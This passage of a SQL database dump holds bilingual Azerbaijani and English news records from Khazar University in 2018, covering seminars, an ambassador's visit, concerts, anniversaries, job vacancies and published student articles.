Universiteti Təhsilin idarə olunması ixtisası üzrə doktorantı Qoşqar Məhərrəmov verdi.</p>'),(5147,2991,'en','Next seminar of PhD and Master Students Union','Within the framework of traditional trainings and seminars of PhD and Master Students Union of Khazar University...','<p>Within the framework of traditional trainings and seminars of PhD and Master Students Union of Khazar University, another seminar “Details of academic writing” was held on February 23, 2018. Participants gained knowledge in characteristics of academic writing in terms of structure, semantics and syntax, had discussions, and received answers to their questions. The seminar was run by Goshgar Maharramov, coordinator of the Department of Education of Khazar University and PhD candidate in Education Management of Osmangazi University.</p>'),(5149,2992,'en','A meeting with Hamlet Isakhanli at “Dunya” school','There was a meeting with Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman...','<p>There was a meeting with Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, in “Injichicheyi” hall of “Dunya” school on February 23, 2018. The teachers and parents of the school, staff members of Khazar University, prominent public and art figures, government officials, representatives of foreign embassies to Azerbaijan, and other guests participated in the ceremony with program of literary composition.</p><p>Before the ceremony, guests had a look at exhibition, organized by Mir Rafig Abdulrahimov in the foyer of schools, which involved photos of scientific and literary books by Hamlet Isakhanli, foreign journals with articles by Hamlet Isakhanli, as well as photos of Hamlet Isakhanli’s activities in country and abroad.</p><p>The presenters of the ceremony were Arzu Omarova, Elshad Rzayev and Gulnar Aliyeva, the teachers of “Dunya” school. The ceremony started with a text-phonogram “Creation”.</p><p>The poems and lyrics of pieces of music included in the literary composition belongs to poet Hamlet Isakhanli.</p><p>Slides, video clips and fragments of “Injichicheyi” movie demonstrated history of foundation of Khazar University, “Dunya” school and Eurasian Academy, Hamlet Isakhanli’s life and career as well as Nailakanim Isakhanli’s career, advisor of the founder of Khazar University and Chairman of its Board of Directors and Trustees, who accompanied Hamlet Isakhanli throughout his career.</p><p>Afag Gambarova, a staff member of the school, recited the poem of “Mother”, Murad Allaverdi and Afag Gambarova jointly recited the poem of “Either of us”, Madina Karahan, a teacher of the school, recited the ghazal of “Flowery meadow”, and the presenters recited the poem of “The clouds left in my childhood”, the poem of “It is life”, the poem of “What I have brought to the world”, and the poem of “Visit”.</p><p>Honored artist Fargana Gasimova sang the poem of “Rubai” (composition by Fargana Gasimova and arrangement by Farahim Gulubayov) in mugham classification, Vadud Muazzinzadeh, who were specially invited to the ceremony from Iran, sang the poem of “It is easy to live” in mugham classification, People\'s Artist Gulyanaq Mammadova sang the song of “It is so nice” (composition by Honored Artist Naila Mirmammadli), Honored Artist Manana Chaparidze sang the song of “Wind and a girl” (composition by Nailakhanim Isakhanli), People\'s Artist Azar Zeynalov sang the song “Time spared for me” (composition by Tahir Akbarov). Moreover, a video clip of music-plot “If only”, performed by People\'s Artist Alim Gasimov (composition by Alim Gasimov, arrangement by Farahim Gulubayov), was also demonstrated.</p><p>Honored Artist Emin Aliyev and Sabina Ismayilova, dance instructors of the school, and dance ensemble of Khazar University performed dance at the ceremony.</p><p>Ayla Garayeva and Hakan Isakhanli, students of “Dunya” school, performed etude-composition at the composition.</p><p>Composer Sevda Ibrahimova, a teacher of “Dunya” school, and other artists accompanied all the performance on the stage.</p><p>People\'s Artist Alim Gasimov, Ramiz Rovshan, a poet, Rafig Aliyev, a corresponding member of ANAS and a president of “Zadeh Legacy and Artificial Intellegence” Association, People\'s Artist Ramiz Hasanoghlu, a film director, presented bunches of flowers to Hamlet Isakhanli, and expressed their sincere congratulations.</p><p>Misir Mardanov, Director of Institute of Mechanics and Mathematics of ANAS, Aygun Aliyeva, Deputy Head of Binagadi Executive Power, Vagif Abbasov, active member of ANAS and Director of the Institute of Petrochemical Processes named after Yusif Mammadaliyev, delivered speeches at the ceremony.</p><p>The speakers characterized Hamlet Isakhanli as a prominent education figure, a founder of “Dunya” school and a founder Khazar University, which is the first private university with a high international rating, a prominent mathematician famous in Azerbaijan and abroad, and a model intellectual and public figure.</p><p>Marufa Madatli, a school principal, was a project director of the ceremony, Afag Gambarova, a Coordinator on Public Relations and Media of the school, was a script writer of the ceremony, Murad Allahverdi, an artistic director of the school, was a director of the ceremony, and Mir Rafig Abdulrahimov was production designer of the ceremony.</p><p>The participants and guests highly appreciated the ceremony.</p>'),(6274,3571,'en','Presentation of “Industrial Engineering Club”','On October 18, 2018, there was a presentation of “Industrial Engineering Club” at Khazar...','<p>On October 18, 2018, there was a presentation of “Industrial Engineering Club” at Khazar University. The management board and members of the club were welcomed at the University. Then Hummat Abdullayev, Chair of “Industrial Engineering Club” met with the students and provided them with full information about the objectives and activity spheres of the club as well as workshops and students’ field visits to various companies. Dr. Hassan Niknafs, Rector of the University, also participated at the event.</p><p>At the end, presenters answered students’ questions.</p>'),(6273,3571,'az','“Sənaye Mühəndisliyi Klubu”nun təqdimatı oldu','2018-ci il oktyabrın 18-də “Sənaye Mühəndisliyi Klubu”nun Xəzər Universitetində təqdimatı...','<p>2018-ci il oktyabrın 18-də “Sənaye Mühəndisliyi Klubu”nun Xəzər Universitetində təqdimatı həyata keçirildi. Klubun idarə heyəti və üzvləri universitet kollektivi tərəfindən səmimi şəkildə qarşılandı və daha sonra “Sənaye Mühəndisliyi Klubu”nun sədri Hümmət Abdullayev tələbələrlə tanış oldu və klubun əsas məqsədləri, fəaliyyət istiqamətləri, tələbələrin müxtəlif şirkətlərə təşkil olunacaq texniki gəzintiləri, seminarlar haqqında Xəzər Universiteti tələbələrinə ətraflı məlumatlar verdi. Xəzər Universitetinin rektoru Dr. Hassan Niknafs tədbirdə iştirak etdi.</p><p>Sonda tələbələrin sualları cavablandırıldı</p>'),(6275,3572,'az','Xəzər Universitetində Fransada təhsillə bağlı təqdimat keçirildi','2018-ci il oktyabrın 26-da Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər...','<p>26 oktyabr 2018-ci il tarixdə Siyasi Elm və Beynəlxalq Münasibətlər departamenti Xəzər Universitetinin Humanitar və Sosial Elmlər fakültəsinin tələbələri üçün Fransada təhsil imkanları ilə bağlı seminar təşkil etmişdir. Seminar Kampus Fransa Agentliyinin Azərbaycandakı nümayəndəsi Raab Maureen tərəfindən həyata keçirilmişdir. Seminarda tələbələrə Fransada təhsil sistemi, Fransada təhsil imkanları, yaşayış yerləri, yaşayış xərcləri, tibbi sığorta, magistratura və bakalavr dərəcəsi üzrə təqaüd proqramları barədə məlumat verildi. Bundan əlavə, xanım Maureen online və distant təhsil proqramları, eyni zamanda, Fransada təcrübə imkanları haqqında məlumat verdi.</p><p>Sonda xanım Maureen auditoriyanı maraqlandıran sualları cavablandırdı.</p>'),(6321,3595,'az','Doktorantın məqaləsi çap olundu','Xəzər Universitetinin German Dilləri ixtisasında təhsil alan doktorant Fariba Farhanginin...','<p>Xəzər Universitetinin German Dilləri ixtisasında təhsil alan doktorant Fariba Farhanginin “<strong><em><a href=\"/files/admin/news-events/fariba_farhangi_article.pdf\">Sevgi ilə din arasında mübarizə: Edvard Valmontun “On dördüncü gecənin ayı” adlı əsərində din kontekstində dinlərarası sevginin araşdırılması</a></em></strong>” mövzusunda məqaləsi Azərbaycan Milli Elmlər Akademiyasının M.Füzuli adına Əlyazmalar İnstitutunun “Filologiya məsələləri” adlı 8 saylı toplusunda (2018) ingilis və rus dillərində (səh. 324-330) çap olunmuşdur.</p>'),(5950,2686,'en','English Instructor','The English Language and Literature Department at Khazar University is seeking qualified applicants...','<p>The English Language and Literature Department at Khazar University is seeking qualified applicants to fill the position of an English instructor for the fall semester, 2018. The applicants should have a Master’s degree in Linguistics or English Language Teaching. Those who have at least 3 years of experience in English language teaching at universities will be given preference.</p><p>The candidates who are interested should send their CVs to Eynur Mehdiyev, Vice-chair of the Department of English Language and Literature.</p><p><strong>Email address</strong>:&nbsp;<a href=\"mailto:emehdiyev@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\">emehdiyev@khazar.org</a></p><p><strong>Deadline: </strong>10.09.2018</p>'),(5156,2997,'az','Xəzər Universitetinin rəhbərliyi “GreenTech” MMC-də oldu','2018-ci il fevralın 26-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p>2018-ci il fevralın 26-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, rektor Hassan Niknafs, prorektorlar Məhəmməd Nuriyev, İsaxan İsaxanlı, İradə Xəlilova, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Coğrafiya departamentinin müdiri Rövşən Abbasov, Elektronika, telekommunikasiya və radiomühəndislik departamentinin müdiri Nuru Səfərov, Təmir və tikinti işləri üzrə menecer Şahin İsayev, Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Fəxrəndə Əlimərdanova və digər əməkdaşlar Binə qəsəbəsində yerləşən, “Azersun Holdinq” şirkətinə məxsus “GreenTech” MMC-də oldular. Qonaqları “Azersun Holdinq” şirkətinin vitse-prezidenti Tahir Güzel, şirkətin Baş direktoru Nizami Heybətov və digər şəxslər qarşıladılar. Xəzər Universitetindən gələn qonaqlar “Green Tech” MMC ilə yaxından tanış oldular. T.Güzel qonaqlara geniş məlumat verdi.</p><p>Sonda xatirə şəkilləri çəkildi.</p>'),(5157,2997,'en','Khazar University administration visits “GreenTech” LLC','Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors...','<p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Hassan Niknafs, Rector, Mahammad Nuriyev, Isakhan Isakhanli, Irada Khalilova - Vice-rectors, Alovsat Amirbayli, Director on Public Relations and Media, Rovshan Abbasov, Head of the Department of Geography, Nuru Safarov, Head of the Department of Electronics, Telecommunications and Radio Engineering, Shahin Isayev, Manager on Repair and Construction, Fakhranda Alimardanova, Vice-dean of the School of Engineering and Applied Sciences and other staff members visited “GreenTech” LLC, affiliated to “Azersun Holding”, on February 26, 2018. Staff members met Tahir Guzel, Vice-president of “Azersun Holding”, Nizami Heybatov, Leading Director of the company, and others. Moreover, the guests got closely familiar with “GreenTech” LLC. T.Guzel gave full information about the company.</p><p>A memory photo was taken at the end of the meeting.</p>'),(5158,2998,'az','İsrail səfiri Xəzər Universitetinin qonağı oldu','2018-ci il fevralın 27-də Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin dəvəti...','<p>2018-ci il fevralın 27-də Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin dəvəti əsnasında İsrailin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Dan Stav universitetin qonağı oldu.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İsrail səfiri cənab Dan Stav ilə görüşdü. Görüşdə, həmçinin, Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilova, Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev, Avropa İttifaqı Araşdırmalar Mərləzinin rəhbəri Baba Bayramlı və İsrail səfirliyinin Mətbuat departamentinin direktoru Sahilə Mustafayeva iştirak edirdilər.</p><p>Görüşdən sonra səfir Dan Stav Siyasi elm və beynəlxalq münasibətlər departamentinin tələbələrinə “İsrail-Azərbaycan ikitərəfli münasibətlərinə dair” mühazirə ilə çıxış etdi. Mühazirədə, həmçinin, Yaxın Şərq regionunda baş verən hadisələr və İsrail-Fələstin münaqişəsi barəsində tələbələrə məlumat verildi. Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayevin moderatorluğu ilə keçirilən müzakirə sual-cavab sessiyası ilə başa çatdı.</p>'),(5159,2998,'en','Israeli ambassador visits Khazar University','Mr. Dan Stav, Extraordinary and Plenipotentiary Ambassador of Israel to Azerbaijan...','<p>Mr. Dan Stav, Extraordinary and Plenipotentiary Ambassador of Israel to Azerbaijan, visited Khazar University, on invitation of the Department of Political Sciences and International Relations of Khazar University, on February 27, 2018.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, had a meeting with Israeli ambassador Mr. Dan Stav. Associate Professor Irada Khalilova, Vice-rector for Research of Khazar University, Elmar Mustafayev, Coordinator of the Department of Political Sciences and International Relations, Baba Bayramli, Head of European Union Research Centre, and Sahila Mustafayeva, Director of Press Department of Israeli embassy, also participated at the meeting.</p><p>After the meeting, Ambassador Mr. Dan Stav delivered a lecture “Israel-Azerbaijan bilateral relations” for the students of the Department of Political Sciences and International Relations. The Ambassador also talked about accidents in the Middle East and the Israeli-Palestinian conflict. The meeting, which was moderated by Elmar Mustafayev, the coordinator of the Department of Political Sciences and International Relations, ended with question-answer session.</p>'),(5160,2999,'az','Xəzər Universitetində görkəmli muğam ustadı, xalq artisti Arif Babayevin 80 illik yubileyi münasibətilə mərasim keçirildi','2018-ci il fevralın 27-də Xəzər Universitetinin Mədəniyyət mərkəzində görkəmli muğam ustadı...','<p>2018-ci il fevralın 27-də Xəzər Universitetinin Mədəniyyət mərkəzində görkəmli muğam ustadı, xalq artisti Arif Babayevin 80 illik yubileyi münasibətilə mərasim keçirildi.</p><p>Mərasimi qısa giriş sözü ilə universitetin Musiqi və incəsənət departamentinin müdiri - əməkdar müəllim, dosent, pianoçu Zülfiyyə Sadıqova açdı.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı geniş çıxışında Arif Babayevin qədim və zəngin muğam ənənələrinə əsaslanan özünəməxsus ifaçılıq xüsusiyyətlərindən, özünün də iştirakçısı olduğu səfərlərdə xarici ölkələrin tamaşaçıları tərəfindən sənətkarın böyük rəğbətlə qarşılandığından danışdı, yubileyi münasibətilə onu təbrik etdi.</p><p>Dosent Zülfiyyə Sadıqova Xəzər Universitetinin kollektivi adından professor Hamlet İsaxanlının imzaladığı təbrik məktubunu oxudu. Yubilyara gül dəstəsi və hədiyyə təqdim olundu.</p><p>Xalq artisti mərasimin təşkilinə görə universitet rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi, tarzən Ramin Rzayev, kaman ifaçısı əməkdar artist Mirnazim Əsədullayev və skripkaçı Fərid Abbasovun müşayiəti ilə muğam parçası ifa etdi.</p><p>Tədbirdə universitetin rektoru Hassan Niknafs, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, dekanlar və departament müdirləri, əməkdaşlar iştirak edirdlər.</p>'),(5161,2999,'en','A ceremony dedicated to Arif Babayev’s 80th anniversary','A ceremony was held to commemorate Arif Babayev’s, a prominent mugham singer...','<p>A ceremony was held to commemorate Arif Babayev’s, a prominent mugham singer and People\'s Artist, 80<sup>th</sup> anniversary in the Culture Centre of Khazar University on February 27, 2018.</p><p>Honored instructor, Associate Professor and pianist Zulfiyya Sadigova, Head of the Department of Music and Art, opened the ceremony with a brief speech.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a long speech about Arif Babayev’s mastery of mugham, which is based on ancient and rich traditions, and mentioned that Arif Babayev is warmly welcomed even by people of foreign countries to which he visit, and congratulated him on his birthday. Associate Professor Zulfiyya Sadigova read a letter of congratulation, with a Hamlet Isakhanli’s signature, on behalf of staff of Khazar University. Arif Babayev was presented a bunch of flowers and a gift.</p><p>Arif Babayev expressed his gratitude to university administration for the ceremony, and sang a piece of muhgam accompanied by Ramin Rzayev, a tar player, Mirnazim Asadullayev, a kaman player, and Farid Abbasov, a violinist.</p><p>Dr. Hassan Niknafs, rector, Mahammad Nuriyev, vice-rector for Academic Affairs, Isakhan Isakhanli, vice-rector for Administration and Student Affairs, deans, heads of departments, and other staff members participated at the ceremony.</p>'),(5162,3000,'az','Professor Hamlet İsaxanlıya TDU-dan “Təşəkkür məktubu” gəldi','2018-ci il fevralın 27-də İvane Cavaxişvili adına Tbilisi Dövlət Universitetinin rektoru...','<p>2018-ci il fevralın 27-də İvane Cavaxişvili adına Tbilisi Dövlət Universitetinin rektoru Dr. George Sharvashidze Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya “<strong><a href=\"http://www.khazar.org/files/letters/A_letter_of_gratitude.pdf\">Təşəkkür məktubu</a></strong>” göndərmişdir. Məktubda Professor Hamlet İsaxanlıya TDU-nun 100 illik yubileyinə həsr edilmiş mərasimlərdə yaxından iştirakına görə təşəkkür edilir.</p>'),(5163,3000,'en','TSU sends “A letter of gratitude” to Prof. Isakhanli','Dr. George Sharvashidze, rector of Ivane Javakhishvili Tbilisi State University, has sent...','<p>Dr. George Sharvashidze, rector of Ivane Javakhishvili Tbilisi State University, has sent “<strong><a href=\"/files/letters/A_letter_of_gratitude.pdf\">A letter of gratitude</a></strong>” to Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, on February 27, 2018. In the letter, the rector expresses his gratitude to Prof. Isakhanli for his active participation in the ceremony dedicated to 100<sup>th</sup> Anniversary of TSU.</p>'),(6029,3443,'az','Xəzər Universitetinin departament müdiri “Zirvəyə doğru” kamera musiqi konsertində','Xəzər Universiteti artıq dördüncü dəfədir ki, Azərbaycanda onuncu dəfə keçirilən Üzeyir Hacıbəyli Beynəlxalq Musiqi...','<p>Xəzər Universiteti artıq dördüncü dəfədir ki, Azərbaycanda onuncu dəfə keçirilən Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalında iştirak edir. Festival çərçivəsində 2018-ci il sentyabrın 20-də Beynəlxalq Muğam Mərkəzində universitetin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə Sadıqovanın Azər Dəmirovla (violin, ABŞ) birgə konseri olmuşdur. Onların birgə ifasında Sen-Sans, Brams, Debüssi, Qara Qarayev, Fikrət Əmirov və Murad Kajlayevin, Zülfiyyə Sadığovanın öz ifasında isə List və Kajlayevin əsərləri səslənmişdir.</p><p>Konsertdə Azərbaycan Bəstəkarlar İttifaqının sədri, xalq artisti, professor Firəngiz Əlizadə iştirak etmişdir.</p><p>Konsert AzTV tərəfindən yayımlanmaq üçün lentə alınmışdır.</p>'),(6030,3443,'en','Head of Khazar University Department in a chamber music concert “Towards Zenith”','It is the fourth time Khazar University has participated in the Uzeyir Hajibeyli International Music Festival, organized for the tenth time...','<p>It is the fourth time Khazar University has participated in the Uzeyir Hajibeyli International Music Festival, organized for the tenth time in Azerbaijan. Within the festival, on September 20, 2018, Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, Honored Teacher, a pianist, delivered a concert program with Azar Damirov (a violin, USA) at International Mugham Center. They jointly performed compositions by Saint-Saëns, Brahms, Debussy, Gara Garayev, Fikrat Amirov and Murad Kajlayev. Additionally, Zulfiyya Sadigova performed compositions by Liszt and Kajlayev.</p><p>Prof. Firangiz Alizadeh, Chair of the Azerbaijan Composers Union, People’s Artist, attended the concert.</p><p>The concert was recorded to be broadcast by AzTV.</p>'),(6312,3590,'en','An article by a PhD student is published','A research paper “Management of Colleges with Innovative Trends...','<p>A research paper “Management of Colleges with Innovative Trends: Indicators, Criteria and Success” by Sevda Hidayat Akhundova, a PhD student in Education Planning and Administration of Khazar University, has been published in American International Journal of Social Science (Vol. 7, No. 3, September 2018).</p><p>The abstract is available at:</p><p><a href=\"http://dx.doi.org/10.30845/aijss.v7n3p13\">http://dx.doi.org/10.30845/aijss.v7n3p13</a>.&nbsp;</p><p>The full article is available at:</p><p><a href=\"http://www.aijssnet.com/journals/Vol_7_No_3_September_2018/13.pdf\">http://www.aijssnet.com/journals/Vol_7_No_3_September_2018/13.pdf</a>.  </p>'),(6031,3444,'az','Xəzər Universitetində “Platon və müasir fəlsəfə” mövzusunda seminar keçirildi','2018-ci il sentyabrın 19-da Xəzər Universitetinin Mərmər salonunda Xəzər Universiteti, Azərbaycan Milli Elmlər Akademiyası...','<p>2018-ci il sentyabrın 19-da Xəzər Universitetinin Mərmər salonunda Xəzər Universiteti, Azərbaycan Milli Elmlər Akademiyası (AMEA) Fəlsəfə İnstitutu və Qafqaz Platron Cəmiyyətinin təşkilatçılığı ilə “Platon və müasir fəlsəfə” mövzusunda seminar keçirildi. Seminarda AMEA və Xəzər Universitetinin rəhbərliyi, AMEA Fəlsəfə İnstitutunun rəhbərliyi və əməkdaşları, ölkənin əksər ali məktəblərinin alim və mütəxəssisləri, Xəzər Universitetinin əməkdaşları iştirak edirdilər.</p><p>Seminarı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı açaraq, iştirakçıları və qonaqları salamladı. AMEA-nıın vitse-prezidenti akademik İsa Həbibbəyli, Yunanıstanın Azərbaycandakı fəvqəladə və səlahiyyətli səfiri Nikolaos Kanellos giriş nitqi söyləyərək, tədbirin əhəmiyyəti və aktuallığını qeyd etdilər.</p><p>Sonra seminar məruzələrin dinlənilməsi ilə işini davam etdirdi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri, riyaziyyat üzrə elmlər doktoru professor Hamlet İsaxanlı “Platonda riyaziyyat və poeziyanın vəhdəti”, AMEA Fəlsəfə İnstitutunun direktoru, fəlsəfə üzrə elmlər doktoru İlham Məmmədzadə “Platon və müasir fəlsəfənin əsas istiqamətləri”,&nbsp;AMEA Fəlsəfə İnstitutunun Azərbaycan fəlsəfə tarixi şöbəsinin baş elmi işçisi, fəlsəfə üzrə elmlər doktoru, professor Zümrüd Quluzadə “Mədəniyyət tarixində vəhdət və kəsrətin əlaqəsi probleminin qoyuluşu (Platon, neoplatonizm, Q.Kantor və L.Zadə)”, AMEA Fəlsəfə İnstitutunun Müasir fəlsəfə problemləri şöbəsinin müdiri, fəlsəfə üzrə elmlər doktoru, professor Əli Abasov “Platon: tarix və müasirlik”, AMEA Fəlsəfə İnstitutunun Estetika şöbəsinin müdiri, fəlsəfə üzrə elmlər doktoru Adil Əsədov “Platon və Aristotel: zadəgan və təbəə əksliyi” və AMEA Fəlsəfə İnstitutunun İdrak nəzəriyyəsi və elmin fəlsəfəsi şöbəsinin müdiri, fəlsəfə üzrə elmlər doktoru Füzuli Qurbanov “Platon və müasirlik: təfəkkür hadisəsi kimi qarşılıqlı əlaqələr” mövzularında məruzə etdilər.</p><p>Sonda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı seminarın işini yekunlaşdıraraq, iştirakçılara və məruzəçilərə təşəkkürünü bildirdi.</p>'),(6032,3444,'en','Workshop “Plato and modern philosophy” held at Khazar University','On September 19, 2018, a seminar “Plato and modern philosophy” was held in Marble hall of Khazar University on an organizational...','<p>On September 19, 2018, a seminar “Plato and modern philosophy” was held in Marble hall of Khazar University on an organizational support of Khazar University, the Institute of Philosophy, ANAS, and Caucasus Plato Society. Administrations of ANAS and Khazar University, as well as administration and associates of the Institute of Philosophy, ANAS, scholars and experts of the most higher education institutions, and associates of Khazar University, participated in the seminar.</p><p>Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered an opening speech and greeted the participants and guests. Academician Isa Habibbayli, Deputy President of ANAS, and Nikolaos Kanellos, Ambassador Extraordinary and Plenipotentiary of Greece to Azerbaijan, delivered speeches and underlined the importance of the event.</p><p>Then the reports were delivered by the speakers in the following order: “The unity of Mathematics and Poetry in Plato” by Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, D.Sc. in Math; “Main trends of modern philosophy and Plato” by Ilham Mammadov, Director of the Institute of Philosophy, ANAS, D.Sc.in Philosophy; “The relation between unity and abundance in the history of culture” by Zumrud Guluzadeh, chief expert of the Department of History of Philosophy, the Institute of Philosophy (Plato, Neoplatonism, G.Kantor and L.Zadeh); “Plato: History and Modernism” by Prof. Ali Abbasov, Head of the Department of Problems of Modern Philosophy, Director of the Institute of Philosophy, ANAS, PhD in Philosophy; “Plato and Aristotle: the contradiction of the nobleman and the subject” by Adil Asadov, Head of the Department of Aesthetics of the Institute of Philosophy, ANAS, PhD in Philosophy; “Plato and modernity: mutual relations as a phenomenon of thought” – Fuzuli Gurbanov, D.Sc. in Philosophy, Head of the Department of Theory of Cognition and the Philosophy of Science.</p><p>At the end, Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a closing speech and thanked the participants and speakers.</p>'),(6033,3445,'az','Xəzər Universiteti, Magistratura, Doktorantura və Elmi Tədqiqat İşləri bölməsi izibati  məsələlərlə bağlı vakansiya elan edir','Xəzər Universiteti, Magistratura, Doktorantura və Elmi Tədqiqat İşləri bölməsi...','<p style=\"text-align:center\"><strong>Namizədə verilən tələblər:</strong></p><p><strong>Təhsil: </strong>Magistr dərəcəsi və ya daha böyük elmi dərəcə (doktorluq dərəcəsi olanlara üstünlük verilir)</p><p><strong>Dil bilikləri: </strong>Azərbaycan və İngilis dillərini mükəmməl səviyyədə bilməli (Rus dilini işçi səviyyədə bilmək arzuolunandır)</p><p style=\"text-align:center\"><strong>Bacarıqlar:</strong></p><ul><li>Microsoft Office kompüter proqramlarında sərbəst işləmə bacarığı</li><li>Ünsiyyət bacarıqları</li><li>Hədəflərə çatmaq üçün verilmiş vaxt çərçivəsində işləmək qabiliyyəti</li><li>İngilis dilində düzgün yazmaq və danışmaq bacarığı (kiçik tərcümələr etmək bacarığı)</li></ul>\r\n<p style=\"text-align:left\"><strong>İş təcrübəsi:&nbsp;</strong>1 il və ya daha çox (istisnalar da nəzərdən keçirilə bilər)</p><p>İşçinin səriştəsindən asılı olaraq əməkhaqqı komissiya tərəfindən müəyyən edilir.</p><p>Namizədlər CV-lərini aşağıdakı ünvana göndərə bilərlər:&nbsp;</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev@khazar.org</a>  </p><p><strong>Ünvan: </strong>Məhsəti k. 41, Xəzər Universiteti, 412-ci otaq.</p><p><strong>Müraciət üçün son tarix:</strong> 30 sentyabr, 2018-ci il.</p>'),(6034,3445,'en','Khazar University, Division of Graduate Studies and Research is announcing position for a full-time employee to handle administrative affairs','Khazar University, Division of Graduate Studies and Research is announcing position for a full-time employee to handle administrative...','<p style=\"text-align:center\"><strong>Requirements:</strong></p><p><strong>Education: </strong>Master’s degree or higher academic degree (Candidates with PhD degree are preferred)  </p>\r\n<p><strong>Language skills: </strong>Proficiency in English and Azerbaijani languages (knowledge of Russian is desirable)  </p>\r\n<p style=\"text-align:center\"><strong>Skills:</strong></p><ul><li>Microsoft Office computer programs</li><li>Communicative skills</li><li>Ability to work within a given timeframe to achieve goals</li><li>Ability to write and speak English fluently (ability to translate small texts)</li></ul><p><strong>Experience:</strong></p><p>One or more years of work experience (exceptions are possible).</p><p>Salary will depend on the competencies of the applicant.</p>  <p><strong>Email: </strong><a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev@khazar.org</a></p><p><strong>Address: </strong>41 Mahsati St, Khazar University, Room 412.  </p><p><strong>Deadline: </strong>September 30, 2018.</p>'),(5184,3010,'az','Xəzər Universitetində professor Hamlet İsaxanlının yubileyi qeyd edildi','2018-ci il martın 1-də Xəzər Universitetində universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p>2018-ci il martın 1-də Xəzər Universitetində universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının 70 illik yubileyi qeyd edildi. Universitetin kollektivi “Xəzər”in Kamera orkestrinin müşayiəti ilə “Happy Birthday” mahnısını ifa edərək, yubilyarı toplantı salonunda alqışlarla qarşıladı.&nbsp;</p><p>Universitetin rektoru Dr. Hassan Niknafs Hamlet İsaxanlını kollektiv adından təbrik etdi. Tədris işləri üzrə prorektor professor Məhəmməd Nuriyev, İngilis dili və ədəbiyyatı departamentinin baş müəllimi Firəngiz Nəsirova, Tarix və arxeologiya departamentinin müdiri Roza Arazova, xalçaçılıq üzrə müəllim, rəssam Afaq Kərimova və digərləri çıxış edərək, yubilyara xoş arzularını çatdırdılar. Universitetin əməkdaşı Elxan Kasımov Hamlet İsaxanlıya həsr olunmuş şəxsi rəsm əsərini ona hədiyyə etdi.</p><p>Professor Hamlet İsaxanlı tədbir iştirakçılarına təşəkkürünü bildirdi.</p><p>Sonda xatirə şəkilləri çəkildi.</p>'),(5212,3024,'en','International students of Khazar University participate at a ceremony dedicated to 100th anniversary of the Democratic Republic of Azerbaijan','International students of Khazar University and a representative of the Department...','<p>International students of Khazar University and a representative of the Department of International Relations participated at the ceremony organized in Ganja city by the Ministry of Education for the international students of higher educational institutions of Azerbaijan.</p><p>Firudin Gurbanov, Deputy Minister of Education, Elnur Rzayev, Deputy Head of Executive Power of Ganja city, public and media representatives, staff members of universities and international students participated at the ceremony. Elkhan Kasimov, assistant of Department of International Relations of Khazar University, as well as students from Zimbabwe and Nigeria represented Khazar University at the ceremony.</p><p>Firstly, participants saw a corner of Democratic Republic of Azerbaijan designed at Azerbaijan State Agricultural University. Later, Solmaz Rustamova-Tohidin, PhD in History and Associate Professor, delivered a lecture on “From national identity towards national statehood: a difficult way of independence” at the ceremony organized at Azerbaijan State Agricultural University. The lecture mainly dealt with history of the Democratic Republic of Azerbaijan.</p><p>After the ceremony, participants went sightseeing in Ganja city. International students visited Shah Abbas Mosque, Javad Khan Tomb, Chokak Hamam, Ganja State Philharmonic in Ganja. Students also paid a visit to the Nizami Mausoleum, and obtained broad information about the poet.</p>'),(5213,3025,'az','QS World University Rankings: “Xəzər Universiteti Azərbaycanda yenə birincidir”','Yeni QS World University Rankings elan edildi...','<p>Yeni <em>QS World University Rankings</em> elan edildi. Xəzər Universiteti ən yaxşı universitetlər arasında 714-cü yerdə qərarlaşmış, Azərbaycanda birinci olmuşdur. 